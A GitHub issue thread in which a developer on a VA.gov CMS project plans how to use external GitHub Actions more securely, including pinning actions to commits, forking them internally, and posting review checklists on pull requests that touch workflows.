Investigate best practices for using external GitHub Actions.

[ndouglas]

Description

We had a rude awakening today about GitHub Actions, but this was in addition to some natural pre-existing concerns about GitHub Actions.

We should research and implement better practices.

Thoughts:

• pinning GHA references to specific commits
• forking actions to VA repositories for internal use or replacing them with inline code wherever possible

Acceptance Criteria

• [x] Best practices for using GitHub Actions safely and securely have been investigated.
• [x] Followup issue(s) opened to document and implement these practices.
  • [x] #10947
  • [x] #10973
  • [x] #10974

[ndouglas]

This might involve some changes to content-build as well.

See https://dsva.slack.com/archives/CU1E4CX9U/p1662129173118709

[ndouglas]

Copypasta from Slack:

I'm playing with a concept for improving this process in va.gov-cms. I did some work on GitHub Actions recently, and now I have another ticket that is "review best practices for GitHub Actions". There are substantial security considerations for using GHAs, and TBH I don't know if anyone has reviewed this stuff prior to or while working on our GHAs. (I know I haven't.) So I'm playing with the idea of having context-sensitive comments posted to the PR thread based on the code touched. Sort of like codeowners, but more "what should be checked based on what you touched."

For instance, if you touch any GHA workflow, did you check that:

• the actions are up-to-date?
• the actions are pinned to a commit, instead of a tag or not pinned at all?
• no security vulnerabilities have been reported against the version?
• the action doesn't inject unsanitized user input into trusted contexts?

Etc etc etc. I'm still in the very early stages of thinking about this, but given the burden of maintaining and updating codeowners and seeing that the subject-matter-expert load is distributed fairly, etc, it might be better if we can document in specific areas what needs to be checked and how.

EDIT: Of course, these instructions would only be posted if they're relevant to the specific files touched by the PR.

[ndouglas]

This document is great: https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions

As mentioned in the previous commit, I'd like to post specific information in a comment on the PR thread corresponding to the areas of the codebase that are touched. I think I'll open a PR and test this out.